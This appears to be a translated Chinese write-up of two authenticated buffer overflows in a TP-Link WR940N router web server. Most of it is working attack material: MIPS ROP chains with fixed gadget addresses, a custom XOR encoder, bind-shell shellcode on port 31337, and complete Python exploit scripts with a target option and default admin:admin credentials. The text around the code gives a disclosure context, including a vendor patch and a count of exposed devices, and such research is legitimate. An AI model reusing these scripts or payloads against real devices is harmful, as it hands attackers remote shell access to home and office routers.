接下来,调用httpGetEnv,请注意,像“ping_addr”,“isNew”等值是通过GET参数传递的值。然后再来(仍然在同一个函数),ipAddrDispose被调用:
此功能是(第一)漏洞存在的位置。在函数开始时,将声明一个堆栈变量var_AC。然后将它作为目标参数传递给对strcpy的调用,这里的问题是源参数($ s1)是函数的第一个参数,并且没有对其长度进行验证,这是一个经典的缓冲区溢出。
我们可以看到,我们已经获得了返回地址的控制权。在执行典型的msf_pattern_create / pattern_offset例程之后,我们发现$ ra在偏移168处被覆盖,并且我们分别控制在$ s0和$ s1的偏移量160和164。我们还有一个很好的大缓冲区堆栈来放shellcode:
参考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
正如我发现的许多在线资源所述,刷新缓存的最佳方式是将ROP调入睡眠状态。触发该漏洞后,我将最终进行两次呼叫,一次直接进入休眠状态,第二次,我的解码器完成了以不良字节解码指令(稍后再说)。
要确定要使用哪些小工具,我们必须确定可执行哪些库及其所在的地址(请注意,默认情况下不启用ASLR)。
httpd maps:
00400000-00587000 r-xp 00000000 1f:02 64 / usr / bin / httpd
00597000-005b7000 rw-p 00187000 1f:02 64 / usr / bin / httpd
005b7000-00698000 rwxp 00000000 00:00 0 [heap]
2aaa8000 -2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 / SYSV0000002f(已删除)
2aabc000 -2aabd000 r-p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so
2aabe000-2aacb000 r- xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so
2aacb000-2aada000 -p 00000000 00:00 0
2aada000-2aadb000 r-p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so
2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so
2aae0000-2aae2000 rw-p 00000000 00 :00 0
2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so <... .. snip ... ..> 7edfc000-7ee00000 rwxp 00000000 00:00 0
7effc000-7f000000 rwxp 00000000 00:00 0
7f1fc000-7f200000 rwxp 00000000 00:00 0
7f3fc000-7f400000 rwxp 00000000 00:00 0
7f5fc000-7f600000 rwxp 00000000 00:00 0
7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看起来像一个好的目标,在IDA中打开它,并使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py脚本,我们可以开始寻找小工具。
首先,我们需要一个小工具:
li $ a0,1
mov $ t9,$ s0或$ s1 #we控制$ s0和$ s1
jr $ t9
运行的第一个命令是mipsrop.set_base(0x2aae000),它将自动计算我们的实际地址。
注意第二个小工具,它返回到$ s1中的地址:
这是我用来唤醒sleep的gadget
它的地址将覆盖ipAddrDispose的返回地址。
我们需要的下一个
gadget(将放入$ s1)需要调用sleep,但在它需要将我们要睡眠后调用的小工具的地址放在ra中。我们可以使用mipsrop.tail()来找到这样的小工具
这个
gadget
运行良好,这里唯一要注意的是它会在第一次运行时自动调用它。
第一次被调用时,$ s1将包含0x2AE3840,将用作$ t9中的地址跳转。要让这个小工具正常工作,我们需要准备堆栈,在第一次调用时,我们需要将sleep地址放在$ s1中,因此需要在0x20($ sp)。在第二次调用gadget时,$ t9将具有sleep地址,我们需要将要调用的下一个gadget的地址设置为0x24($ sp),然后我们可能需要填写$ s0和$ s1与我们的最终gadget(将跳转到我们的shellcode)
这给了我们以下payload:
rop =“A”* 164 + call_sleep + prepare_sleep +“B”* 0x20 + sleep_addr
$ s0 $ s1 $ ra
rop + =“C”* 0x20 +“D”* 4 +“E”* 4 + next_gadg
调用的下一个
gadget
(从sleep返回后)需要将堆栈指针存储在寄存器中,然后跳转到$ s0或$ s1中的地址(因为我们控制这两个)。这将导致最终的
gadget
将跳转到该寄存器(意味着它将跳转到堆栈的某个位置,最好是shellcode的位置)。mipsrop.py中的一个方便的功能是
stack stackfinder():
看起来这些gadget似乎都很有希望。看最后一个:
知道$ s0可以从以前的
gadget
进行控制,现在需要做的就是找到一个跳转到$ s2(这将是一个堆栈地址)的地址的
gadget
任何一个这些
gadget
都可以工作。我更喜欢使用对其他寄存器影响最小的
gadget
,我在这里找到:
此时,有效载荷如下所示:
nop =“\ x22 \ x51 \ x44 \ x44”
gadg_1 =“\ x2A \ xB3 \ x7C \ x60”
gadg_2 =“\ x2A \ xB1 \ x78 \ x40”
sleep_addr =“\ x2a \ xb3 \ x50 \
x90 ” stack_gadg = “\ x2A \ xAF \ x84 \ xC0”
call_code =“\ x2A \ xB2 \ xDC \ xF0”def first_exploit(url,auth):
#trash $ s1 $ ra
rop =“A”* 164 + gadg_2 + gadg_1 +“B “* 0x20 + sleep_addr
rop + =”C“* 0x20 + call_code +”D“* 4 + stack_gadg + nop * 0x20 + shellcode
当这个漏洞运行时,我们最后会停在sled(滑板指令上),唯一要做的就是:写一些shellcode,识别坏字符,并将<decode> + <sleep> + <编码shellcode>附加到漏洞。
我发现唯一不好的字节是0x20,然而0x00也是必须要处理的。
我努力使任何典型的有效载荷正常工作,msf_venom将无法使用mips / long_xor编码。我也无法获得
bowcaster
的有效载荷。我以前没有写过mips shellcode,所以我决定写一个非常简单的编码器,它只能通过引用它们在堆栈上的偏移来对具有不良字节的指令进行操作。
.set noreorder
#nop
addi $s5, $s6, 0x4444#xor key
li $s1, 2576980377#get address of stack
la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)
addi $s2, $s2, -864#decode first bad bytes
lw $t2, -263($s2)
xor $v1, $s1, $t2
sw $v1, -263($s2)#decode 2nd bad bytes
lw $t2, -191($s2)
xor $v1, $s1, $t2
sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444 #nop
这显然不是最有效的做事方式,因为它需要在堆栈上找到每个坏字节的偏移量
(幸运的是,mips是4字节对齐的指令,因此每个偏移是4的倍数)。它还需要计算每个坏字节指令的编码值。可以说这就完美了
写一个bind shell的shellcode非常简单。
.set noreorder
###### sys_socket ######
addiu $ sp,$ sp,-32
li $ t6,-3
或$ a0,$ t6,$ zero
或$ a1,$ t6,$ zero
slti $ a2,$ 0,-1
li $
v0,4183 syscall 0x40404 ##### sys_bind ####
add $ t9,$ t9,0x4444 #nop
andi $ s0,$ v0,0xffff
li $ t6,-17 nor $ t6,$ t6,$ zero
li $ t5,0x7a69 #port 31337 li $ t7,-513
或$ t7,$ t7,$ zero
sllv $ t7,$ t7,$ t6
或$ t5,$ t5,$ t7 sw $ t5,-32($ sp)sw $零,-28($ sp)
sw $零,-24($ sp)
sw $ 0,-20($ sp)
或$ a0,$ s0,$ s0
li $ t6,-17或$ a2,$ t6,$ zero
addi $ a1,$ sp,-32
li $
v0,4169 syscall 0x40404 ##### listen #####
li $ t7,0x7350
or $ a0,$ s0,$ s0
li $ a1,257
li $ v0,4174
syscall 0x40404 ##### accept #####
li $ t7,0x7350
或$ a0,$ s0,$ s0
slti $ a1,$ zero,-1
slti $ a2,$ zero,-1
li $ v0,4168
syscall 0x40404 ##### dup fd's ####
li $ t7,0x7350
andi $ s0,$ v0,0xffff
或$ a0,$ s0,$ s0
li $ t7,-3
或$ a1,$ t7,$ zero
li $ v0,4063
系统调用0x40404
li $ t7,0x7350
或$ a0,$ s0,$ s0
slti $ a1,$ zero,0x0101
li $ v0,4063
系统调用0x40404
li $ t7,0x7350
或$ a0,$ s0,$ s0
slti $ a1,$零,-1
li $ v0,4063
系统调用0x40404 ###### execve ######
lui $ t7,0x2f2f
ori $ t7,$ t7,0x6269
sw $ t7,-20($ sp)
lui $ t6 ,0x6e2f
ori $ t6,$ t6,0x7368
sw $ t6,-16($ sp)
sw $ zero,-12($ sp)
addiu $ a0,$ sp,-20
sw $ a0,-8($ sp)
sw $ 0,-4($ sp)
addiu $ a1,$ sp,-8
li $ v0,4011
syscall 0x40404 #### sleep #####
li $
v0,4166 li $ t7,0x0368
addi $ t7,$ t7,-0x0304
sw $ t7,-0x0402($ sp)
sw $ t7,-0x0406($ sp)
la $ a0,-0x0406($ sp)
syscall 0x40404 addi
$ t4,$ t4,4444
请注意,如果我们在调用execve后没有调用sleep,原始进程将会死机,从而导致所有其他httpd进程死机,从而阻止我们访问bind shell。
此漏洞的最终漏洞利用如下:
import urllib2
import urllib
import base64
import hashlib
import osdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string
#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[debug] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x9f”
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69” #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):
# trash $s1 $ra
rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…”
print “[+] Please wait a few seconds before connecting to port 31337…”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
first_exploit(data[0], data[1])
七、进一步分析
这个漏洞有一个非常简单的模式,用户从GET参数输入直接传递给对strcpy的调用,无需任何验证。进一步分析二进制,这种相同的模式在很多地方都呈现。
对于供应商的信用,他们在几天内为第一个漏洞提供了补丁。但是,在我的回答中,我概述了几乎所有这些对strcpy的调用都需要用更安全的字符串复制功能替代。为了证明这一点,我决定开发第二个漏洞,通过dnsserver2参数触发WanStaticIpV6CfgRpm.htm中的缓冲区溢出。
这个漏洞与以前一样,在自定义编码器中只有一个偏移量改变(因为堆栈指针指向不同的位置)。唯一的主要区别是我在Mips exploit开发研究中没有遇到的问题,这是一个字节对齐。在开发这个漏洞的时候,我不断收到非法的指令错误,我注意到,我的nop sled看起来不像以前那样:
注意所有指令是否相隔2个字节。这样做的原因实际上在于我的有效载荷:
这个缓冲区的结尾有一个我没有指定的输入,强制有效载荷结束对齐。事实证明,即使这是最后,我需要填补最终的有效载荷,使其恢复对齐,一旦完成,那么它的应用应该是:
我们得到我们的绑定shell:
最终的代码包含两个漏洞的工作漏洞如下:
(请注意,在第二个exp中,几乎所有的GET参数都容易受到缓冲区溢出的影响)
import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
“___________________________________________________________________________\n”
“WR940N Authenticated Remote Code Exploit\n”
“This exploit will open a bind shell on the remote target\n”
“The port is 31337, you can change that in the code if you wish\n”
“This exploit requires authentication, if you know the creds, then\n”
“use the -u -p options, otherwise default is admin:admin\n”
“___________________________________________________________________________”
)def login(ip, user, pwd):
print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[+] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[+] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x4b” #0x27b2059f for first_exploit
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1”
#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”
################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69” #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)
###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0”
def first_exploit(url, auth):
# trash $s1 $ra
rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4
rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)
print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
def second_exploit(url, auth):
url = url + “WanStaticIpV6CfgRpm.htm?”
# trash s0 s1 s2 s3 s4 ret shellcode
payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c
payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4
payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7
print len(payload)
params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’,
‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’,
‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’,
‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’}
new_url = url + urllib.urlencode(params)
print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
print banner
username = “admin”
password = “admin”
parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host”,
help=”target ip address”)
parser.add_option(“-u”, “–user”, dest=”username”,
help=”username for authentication”,
default=”admin”)
parser.add_option(“-p”, “–password”, dest=”password”,
help=”password for authentication”,
default=”admin”)
(options, args) = parser.parse_args()
if options.host is None:
parser.error(“[x] A host name is required at the minimum [x]”)
if options.username is not None:
username = options.username
if options.password is not None:
password = options.password
(next_url, encoded_string) = login(options.host, username, password)
###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
second_exploit(next_url, encoded_string)
八、影响范围
目前,对shodan的快速搜索显示了7200台连接到互联网的设备。(这个数字在一个月内增长了3500个)
九、漏洞修补